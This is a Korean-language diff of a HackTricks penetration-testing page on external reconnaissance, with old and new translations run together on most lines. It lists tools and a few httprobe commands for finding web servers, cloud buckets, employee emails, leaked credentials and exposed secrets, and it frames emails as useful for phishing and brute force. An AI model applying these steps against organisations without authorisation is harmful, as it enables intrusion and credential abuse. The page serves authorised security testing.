자산 발견에서 이미 찾은 IP와 다른 **IP를 가리키는 서브도메인**을 찾으면 **기본 취약점 스캔**을 수행해야 합니다 (Nessus 또는 OpenVAS 사용) 및 **nmap/masscan/shodan**을 사용하여 [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 수행하세요. 실행 중인 서비스에 따라 **이 책에서 해당 서비스를 "공격"하는 방법**을 찾을 수 있습니다.\ 자산 탐색에서 이미 발견한 것과 다른 **IP를 가진 서브도메인**을 발견하면, **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용)과 **포트 스캔**(nmap/masscan/shodan 사용)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 "공격"하는 몇 가지 요령을 찾을 수 있습니다**.\
_때로는 서브도메인이 클라이언트가 제어하지 않는 IP에 호스팅되어 있어 범위에 포함되지 않을 수 있으므로 주의하세요._ _서브도메인이 클라이언트가 제어하지 않는 IP 내에 호스팅되는 경우가 있으므로, 범위에 포함되지 않을 수 있습니다. 주의하세요._
## IPs ## IPs
초기 단계에서 **일부 IP 범위, 도메인 및 서브도메인을 찾았을 수 있습니다**.\ 초기 단계에서 **일부 IP 범위, 도메인 및 서브도메인**을 **발견했을 수 있습니다**.\
이제 **해당 범위에서 모든 IP** 및 **도메인/서브도메인 (DNS 쿼리)**을 수집해야 합니다. 이제 **그 범위에서 모든 IP를 수집**하고 **도메인/서브도메인(DNS 쿼리)**에 대한 IP를 수집할 시간입니다.
다음 **무료 API 서비스**를 사용하여 **도메인 및 서브도메인에서 사용된 이전 IP**를 찾을 수도 있습니다. 이러한 IP는 아직 클라이언트가 소유하고 있을 수 있으며 [**CloudFlare 우회**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)를 찾 수 있습니다. 다음 **무료 API**의 서비스를 사용하여 **도메인과 서브도메인에서 사용된 이전 IP**를 찾을 수도 있습니다. 이 IP는 여전히 클라이언트가 소유하고 있을 수 있으며, [**CloudFlare 우회**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)를 찾는 데 도움이 될 수 있습니다.
* [**https://securitytrails.com/**](https://securitytrails.com/) * [**https://securitytrails.com/**](https://securitytrails.com/)
도메인이 특정 IP 주소를 가리키는지 확인하려면 [**hakip2host**](https://github.com/hakluke/hakip2host) 도구를 사용할 수 있습니다. 특정 IP 주소를 가리키는 도메인을 확인하려면 [**hakip2host**](https://github.com/hakluke/hakip2host) 도구를 사용할 수 있습니다.
### **취약점 탐색** ### **취약점 찾기**
**CDN에 속하지 않는 모든 IP에 대해 포트 스캔**을 수행하세요 (거기에 흥미로운 것을 찾을 가능성이 매우 낮습니다). 발견된 실행 중인 서비스에서 **취약점을 찾을 수 있습니다**. **CDN에 속하지 않는 모든 IP에 대해 포트 스캔**을 수행하세요(여기서는 흥미로운 것을 찾지 못할 가능성이 높습니다). 발견된 실행 중인 서비스에서 **취약점을 찾을 수 있을 것입니다**.
**호스트 스캔하는 방법에 대한** [**가이드**](../pentesting-network/) **를 찾으세요**. **호스트 스캔 방법에 대한** [**가이드를 찾으세요**](../pentesting-network/).
## 웹 서버 탐색 ## 웹 서버 사냥
> 모든 기업과 그 자산을 찾았으며 IP 범위, 도메인 및 서브도메인을 이미 알고 있습니다. 이제 웹 서버를 검색할 시간입니다. > 우리는 모든 회사와 그 자산을 찾았고, 범위 내의 IP 범위, 도메인 및 서브도메인을 알고 있습니다. 이제 웹 서버를 검색할 시간입니다.
이전 단계에서 이미 발견된 **IP 및 도메인의 탐색**을 수행했을 가능성이 높으므로 **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 아직이라면 이제 범위 내의 웹 서버를 찾는 **빠른 팁**을 살펴보겠습니다. 이전 단계에서 이미 발견된 **IP와 도메인에 대한 일부 재콘**을 수행했을 가능성이 높으므로, **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 찾지 못했다면 이제 범위 내에서 **웹 서버를 검색하는 몇 가지 빠른 요령**을 살펴보겠습니다.
이것은 **웹 앱 발견을 위해 지향**되므로 범위 내에서 **취약점** 및 **포트 스캔**도 수행해야 합니다 (**범위에서 허용되는 경우**). 이것은 **웹 앱 발견**을 위한 **지향적**이므로, **취약점** 및 **포트 스캔**도 수행해야 합니다(**범위에서 허용되는 경우**).
[**masscan을 사용하여 웹 서버와 관련된 열린 포트를 빠르게 찾을 수 있는 빠른 방법**은 여기에서 찾을 수 있습니다](../pentesting-network/#http-port-discovery).\ **웹** 서버와 관련된 **열려 있는 포트를 발견하는 빠른 방법**은 [**masscan**를 사용하는 방법을 여기에서 찾을 수 있습니다](../pentesting-network/#http-port-discovery).\
다른 웹 서버를 찾는 데 유용한 도구로 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 및 [**httpx**](https://github.com/projectdiscovery/httpx)가 있습니다. 도메인 목록을 전달하면 포트 80 (http) 및 443 (https)에 연결을 시도합니다. 추가로 다른 포트를 시도하도록 지시할 수도 있습니다: 웹 서버를 찾기 위한 또 다른 유용한 도구는 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 및 [**httpx**](https://github.com/projectdiscovery/httpx)니다. 도메인 목록을 전달하면 포트 80(http) 및 443(https)에 연결을 시도합니다. 추가로 다른 포트를 시도하도록 지정할 수 있습니다:
```bash ```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
``` ```
### **스크린샷** ### **스크린샷**
이제 스코프 내에 있는 **모든 웹 서버**를 발견했으므로 (회사의 **IP** 및 모든 **도메인****서브도메인** 중) 아마도 **어디서부터 시작해야 할지 모를 것**입니다. 그래서, 간단하게 시작하고 그 모든 것의 스크린샷을 찍는 것으로 시작합시다. **메인 페이지**를 **살펴보기만** 해도 **취약할 가능성**이 높은 **이상한** 엔드포인트를 찾을 수 있습니다. 이제 **범위 내의 모든 웹 서버**를 발견했으므로 (**회사의 **IP**와 모든 **도메인****서브도메인** 중에서) 아마도 **어디서 시작해야 할지 모를 것입니다**. 그러니 간단하게 시작하여 모든 웹 서버의 스크린샷을 찍어보세요. **메인 페이지**를 **살펴보는 것만으로도** **이상한** 엔드포인트를 발견할 수 있으며, 이는 **취약점**이 있을 가능성이 더 높습니다.
제안된 아이디어를 수행하기 위해 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) 또는 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**를 사용할 수 있습니다.** 제안된 아이디어를 수행하기 위해 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) 또는 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**를 사용할 수 있습니다.**
또한, 그런 다음 [**eyeballer**](https://github.com/BishopFox/eyeballer)를 사용하여 모든 **스크린샷**을 실행하여 **취약점을 포함할 가능성이 높은 내용**과 그렇지 않은 내용을 알려줄 수 있습니다. 또한, [**eyeballer**](https://github.com/BishopFox/eyeballer)를 사용하여 모든 **스크린샷**을 분석하여 **취약점이 있을 가능성이 있는 것**과 **없는 것**을 알려줄 수 있습니다.
## 공용 클라우드 자산 ## 퍼블릭 클라우드 자산
회사에 속한 잠재적인 클라우드 자산을 찾으려면 해당 회사를 식별하는 키워드 목록부터 시작해야 합니다. 예를 들어, 암호화폐 회사의 경우 "crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">와 같은 단어를 사용할 수 있습니다. 회사의 잠재적인 클라우드 자산을 찾기 위해서는 **회사를 식별하는 키워드 목록**으로 시작해야 합니다. 예를 들어, 암호화폐 회사의 경우 다음과 같은 단어를 사용할 수 있습니다: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
또한 **버킷에서 사용되는 일반 단어들의 단어 목록**이 필요합니다: 또한 **버킷에서 사용되는 일반 단어**의 단어 목록이 필요합니다:
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) * [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
그런 다음 해당 단어들로 **순열을 생성**해야 합니다(자세한 내용은 [**두 번째 라운드 DNS 브루트포스**](./#second-dns-bruteforce-round)를 확인하십시오). 그런 다음, 이러한 단어로 **순열**을 생성해야 합니다 (자세한 내용은 [**두 번째 라운드 DNS 브루트포스**](./#second-dns-bruteforce-round)를 참조하세요).
생성된 단어 목록을 사용하여 [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) 또는 [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**와 같은 도구를 사용할 수 있습니다.** 결과로 얻은 단어 목록을 사용하여 [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **또는** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**와 같은 도구를 사용할 수 있습니다.**
클라우드 자산을 찾을 때 **AWS의 버킷 이상을 찾아야** 한다는 것을 기억하십시오. 클라우드 자산을 찾을 때**AWS의 버킷 이상으로 찾아야 한다는 점을 기억하세요**.
### **취약점 찾기** ### **취약점 찾기**
**공개 버킷이나 노출된 클라우드 기능**과 같은 것을 발견하면 **접근**하여 제공되는 내용을 확인하고 남용할 수 있는지 확인해야 합니다. **열린 버킷이나 노출된 클라우드 기능**과 같은 것을 발견하면 **접속하여** 그들이 제공하는 것이 무엇인지, 그리고 이를 악용할 수 있는지 확인해야 합니다.
## 이메일 ## 이메일
스코프 내의 **도메인****서브도메인**을 통해 기본적으로 회사의 이메일을 검색하기 시작할 수 있습니다. 회사의 이메일을 찾는 데 가장 잘 작동한 **API** 및 **도구**는 다음과 같습니다: 범위 내의 **도메인**과 **서브도메인**을 통해 **이메일 검색을 시작하는 데 필요한 모든 것**을 갖추게 됩니다. 다음은 회사의 이메일을 찾는 데 가장 효과적이었던 **API**와 **도구**입니다:
* [**theHarvester**](https://github.com/laramies/theHarvester) - APIs와 함께 * [**theHarvester**](https://github.com/laramies/theHarvester) - API 사용
* [**https://hunter.io/**](https://hunter.io/)의 API (무료 버전) * [**https://hunter.io/**](https://hunter.io/)의 API (무료 버전)
* [**https://app.snov.io/**](https://app.snov.io/)의 API (무료 버전) * [**https://app.snov.io/**](https://app.snov.io/)의 API (무료 버전)
* [**https://minelead.io/**](https://minelead.io/)의 API (무료 버전) * [**https://minelead.io/**](https://minelead.io/)의 API (무료 버전)
### **취약점 찾기** ### **취약점 찾기**
나중에 이메일은 **웹 로그인 및 인증 서비스를 브루트 포스**하거나(예: SSH) **피싱**에 필요합니다. 또한, 이러한 API는 이메일 뒤에 있는 **사람에 대한 더 많은 정보**를 제공하여 피싱 캠페인에 유용합니다. 이메일은 나중에 **웹 로그인 및 인증 서비스**(예: SSH)에 대한 **브루트포스**에 유용하게 사용됩니다. 또한, **피싱**에도 필요합니다. 게다가, 이러한 API는 이메일 뒤에 있는 **사람에 대한 더 많은 정보**를 제공하므로 피싱 캠페인에 유용합니다.
## 자격 증명 유출 ## 자격 증명 유출
**도메인**, **서브도메인** 및 **이메일**로 해당 이메일에 속한 과거에 유출된 자격 증명을 찾을 수 있습니다: **도메인**, **서브도메인**, 및 **이메일**을 통해 과거에 유출된 자격 증명을 찾기 시작할 수 있습니다:
* [https://leak-lookup.com](https://leak-lookup.com/account/login) * [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/) * [https://www.dehashed.com/](https://www.dehashed.com/)
### **취약점 찾기** ### **취약점 찾기**
**유효한 유출된** 자격 증명을 찾으면 매우 쉬운 승리입니다. **유효한 유출된** 자격 증명을 발견하면, 이는 매우 쉬운 승리입니다.
## 비밀 유출 ## 비밀 유출
자격 증명 유출은 **민감한 정보가 유출되고 판매된** 회사 해킹과 관련이 있습니다. 그러나 회사는 그러한 데이터베이스에 없는 정보가 포함된 **다른 유출**에 영향을 받을 수 있습니다: 자격 증명 유출은 **민감한 정보가 유출되어 판매된** 회사의 해킹과 관련이 있습니다. 그러나 회사는 이러한 데이터베이스에 없는 **다른 유출**로 인해 영향을 받을 수 있습니다:
### Github 유출 ### 깃허브 유출
자격 증명 및 API는 **회사의 공개 저장소**나 해당 github 회사에서 일하는 **사용자**의 **공개 저장소**에 유출될 수 있습니다.\ 자격 증명 및 API는 **회사의 공개 리포지토리** 또는 해당 깃허브 회사에서 일하는 **사용자**의 공개 리포지토리에 유출될 수 있습니다.\
**Leakos** 도구를 사용하여 **조직****개발자**의 **모든 공개 저장소**를 **다운로드**하고 [**gitleaks**](https://github.com/zricethezav/gitleaks)를 자동으로 실행할 수 있습니다. **Leakos**라는 **도구**를 사용하여 **조직** 및 그 **개발자**의 모든 **공개 리포**를 **다운로드**하고 자동으로 [**gitleaks**](https://github.com/zricethezav/gitleaks)를 실행할 수 있습니다.
**Leakos**는 때로는 **웹 페이지에도 비밀이 포함**되어 있기 때문에 **URL을 전달**받은 **모든 텍스트**에 대해 **gitleaks**를 실행하는 데 사용할 수 있습니다. **Leakos**는 또한 제공된 **URL**에 대해 **gitleaks**를 실행하는 데 사용할 수 있으며, 때때로 **웹 페이지에도 비밀이 포함되어 있습니다**.
#### Github Dorks #### 깃허브 도크
공격 중인 조직에서 검색할 수 있는 잠재적인 **github dorks**에 대해 검토하십시오: 공격 중인 조직에서 검색할 수 있는 잠재적인 **깃허브 도크**에 대해서도 이 **페이지**를 확인하세요:
{% content-ref url="github-leaked-secrets.md" %} {% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md) [github-leaked-secrets.md](github-leaked-secrets.md)
{% endcontent-ref %} {% endcontent-ref %}
### Pastes 유출 ### Paste 유출
가끔 공격자나 작업자가 **회사 콘텐츠를 붙여넣기 사이트에 게시**할 수 있습니다. 이는 **민감한 정보**를 포함할 수도 있고 포함하지 않을 수도 있지만 검색해 보는 것이 매우 흥미로울 수 있습니다.\ 때때로 공격자나 단순한 직원이 **회사 콘텐츠를 paste 사이트에 게시**합니다. 이는 **민감한 정보**를 포함할 수도 있고 포함하지 않을 수도 있지만, 검색할 가치가 있습니다.\
**Pastos** 도구를 사용하여 한 번에 80개 이상의 붙여넣기 사이트에서 검색할 수 있습니다. [**Pastos**](https://github.com/carlospolop/Pastos)라는 도구를 사용하여 동시에 80개 이상의 paste 사이트에서 검색할 수 있습니다.
### Google Dorks ### 구글 도크
오래된 Google Dorks는 **노출되지 않아야 할 정보를 찾는 데 항상 유용**합니다. 유일한 문제는 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)에 수천 개의 가능한 쿼리가 포함되어 있어 수동으로 실행할 수 없다는 것입니다. 따라서 좋아하는 10개를 선택하거나 [**Gorks**](https://github.com/carlospolop/Gorks)와 같은 도구를 사용하여 모두 실행할 수 있습니다. 오래되었지만 여전히 유용한 구글 도크는 **거기에 있어서는 안 되는 노출된 정보를 찾는 데 항상 유용합니다**. 유일한 문제는 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)에 수천 개의 가능한 쿼리가 포함되어 있어 수동으로 실행할 수 없다는 것입니다. 따라서 좋아하는 10개를 선택하거나 [**Gorks**](https://github.com/carlospolop/Gorks)와 같은 **도구를 사용하여 모두 실행할 수 있습니다**.
_일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행하는 도구는 Google이 매우 빨리 차단할 것이므로 종료되지 않을 것임을 참고하십시오._ _정기적인 Google 브라우저를 사용하여 모든 데이터베이스를 실행하려는 도구는 매우 빨리 Google에 의해 차단되므로 결코 끝나지 않을 것입니다._
### **취약점 찾기** ### **취약점 찾기**
**유효한 유출된** 자격 증명이나 API 토큰을 찾으면 매우 쉬운 승리입니다. **유효한 유출된** 자격 증명이나 API 토큰을 발견하면, 이는 매우 쉬운 승리입니다.
## 공개 코드 취약점 ## 공개 코드 취약점
회사에 **오픈 소스 코드**가 있다면 해당 코드를 **분석**하여 그 안에 **취약점**을 찾을 수 있습니다. 회사가 **오픈 소스 코드**를 가지고 있다면 이를 **분석**하고 **취약점**을 검색할 수 있습니다.
**언어에 따라** 사용할 수 있는 다양한 **도구**가 있습니다: **언어에 따라** 사용할 수 있는 다양한 **도구**가 있습니다:
@ -606,60 +610,62 @@ _일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md) [code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
또한 다음과 같은 무료 서비스를 사용하여 **공개 저장소를 스캔**할 수 있습니다: 또한 **공개 리포지토리**를 **스캔**할 수 있는 무료 서비스도 있습니다:
* [**Snyk**](https://app.snyk.io/) * [**Snyk**](https://app.snyk.io/)
## [**웹 펜테스팅 방법론**](../../network-services-pentesting/pentesting-web/) ## [**웹 펜테스팅 방법론**](../../network-services-pentesting/pentesting-web/)
**버그 헌터들이 발견한 취약점의 대다수**는 **웹 애플리케이션** 내에 존재하기 때문에, 이 시점에서 **웹 애플리케이션 테스트 방법론**에 대해 이야기하고 있으며, 이 정보를 [**여기에서 찾을 수 있습니다**](../../network-services-pentesting/pentesting-web/). **버그 헌터**가 발견한 **대부분의 취약점**은 **웹 애플리케이션** 내에 존재하므로, 이 시점에서 **웹 애플리케이션 테스트 방법론**에 대해 이야기하고 싶습니다. [**여기에서 이 정보를 찾을 수 있습니다**](../../network-services-pentesting/pentesting-web/).
또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/#automatic-scanners) 섹션에 대해 특별히 언급하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾지는 못할지라도, **일부 초기 웹 정보를 얻기 위해 워크플로에 구현하는 데 유용**합니다. 또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/#automatic-scanners) 섹션에 특별히 언급하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾는 데 기대하지 말아야 하지만, **초기 웹 정보를 얻기 위한 워크플로우에 구현하는 데 유용합니다**.
## 요약 ## 요약
> 축하합니다! 이 시점에서 이미 **모든 기본 열거**를 수행했습니다. 네, 이것은 기본적인 것이며 더 많은 열거가 가능합니다 (나중에 더 많은 트릭을 볼 것입니다). > 축하합니다! 이 시점에서 **모든 기본 열거 작업**을 수행했습니다. 네, 기본적입니다. 더 많은 열거 작업이 가능하므로 (나중에 더 많은 트릭을 볼 것입니다).
따라서 이미 다음을 수행했습니다: 따라서 이미 다음을 수행했습니다:
1. 범위 내의 **모든 회사**를 찾았습니다. 1. 범위 내의 모든 **회사**를 찾았습니다.
2. 회사에 속한 **모든 자산**을 찾았으며 (범위 내에 있다면 취약성 스캔 수행) 2. 회사에 속하는 모든 **자산**을 찾았습니다 (범위 내에서 일부 취약점 스캔 수행).
3. 회사에 속한 **모든 도메인**을 찾았습니다. 3. 회사에 속하는 모든 **도메인**을 찾았습니다.
4. 도메인의 **모든 서브도메인**을 찾았습니다 (서브도메인 탈취가 있나요?) 4. 도메인의 모든 **서브도메인**을 찾았습니다 (서브도메인 탈취 능성은 있나요?).
5. 범위 내의 **모든 IP** (CDN에서 **아닌 것 포함**)를 찾았습니다. 5. 범위 내의 모든 **IP**를 찾았습니다 (CDN에서 온 것과 아닌 것).
6. **웹 서버**를 모두 찾아 **스크린샷**을 찍었습니다 (더 깊게 살펴볼 가치 있는 이상한 것이 있나요?) 6. 모든 **웹 서버**를 찾고 **스크린샷**을 찍었습니다 (더 깊이 살펴볼 가치가 있는 이상한 점이 있나요?).
7. 회사에 속한 **잠재적인 공개 클라우드 자산**을 모두 찾았습니다. 7. 회사에 속하는 모든 **잠재적 공개 클라우드 자산**을 찾았습니다.
8. **큰 승리를 쉽게 가져다 줄** 수 있는 **이메일**, **자격 증명 누출**, **비밀 누출**을 찾았습니다. 8. **이메일**, **자격 증명 유출**, 및 **비밀 유출**로 인해 **매우 쉽게 큰 승리를 얻을 수 있습니다**.
9. 찾은 모든 웹을 **펜테스팅**했습니다. 9. 발견한 모든 웹을 **펜테스팅**했습니다.
## **전체 Recon 자동 도구** ## **전체 재콘 자동 도구**
주어진 범위에 대해 제안된 작업의 일부를 수행할 수 있는 여러 도구가 있습니다. 주어진 범위에 대해 제안된 작업의 일부를 수행는 여러 도구가 있습니다.
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) * [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) * [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) * [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 조금 오래되었고 업데이트되지 않음 * [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 조금 오래되었고 업데이트되지 않음
## **참고 자료** ## **참고 문헌**
* [**@Jhaddix**](https://twitter.com/Jhaddix)의 모든 무료 강좌, [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)와 같은 것들 * [**@Jhaddix**](https://twitter.com/Jhaddix)의 모든 무료 과정, 예를 들어 [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_폴란드어 유창한 글쓰기와 말하기 필요_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집하고 있습니다!** (_유창한 폴란드어 필기 및 구사 필요_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 트릭을 공유하세요.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 **디스코드 그룹**에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Pentesting Methodology # Pentesting Methodology
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks를 광고하길 원하거나** **HackTricks를 PDF로 다운로드하길 원하면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_폴란드어 유창한 작문 및 구사가 필요함_). 해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필요_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -28,122 +29,123 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
### 0- 물리적 공격 ### 0- 물리적 공격
**공격하려는 기기에 물리적 액세스**가 있습니까? [**물리적 공격에 대한 트릭**](../hardware-physical-access/physical-attacks.md) 및 [**GUI 애플리케이션에서 탈출하는 방법**](../hardware-physical-access/escaping-from-gui-applications.md)을 읽어보세요. 공격하고자 하는 기계에 **물리적 접근**이 있습니까? [**물리적 공격에 대한 팁**](../hardware-physical-access/physical-attacks.md)와 [**GUI 애플리케이션에서 탈출하는 방법**](../hardware-physical-access/escaping-from-gui-applications.md)에 대한 내용을 읽어보세요.
### 1 - [네트워크 내 호스트 발견](pentesting-network/#discovering-hosts)/ [회사 자산 발견](external-recon-methodology/) ### 1 - [네트워크 내 호스트 발견](pentesting-network/#discovering-hosts)/ [회사 자산 발견](external-recon-methodology/)
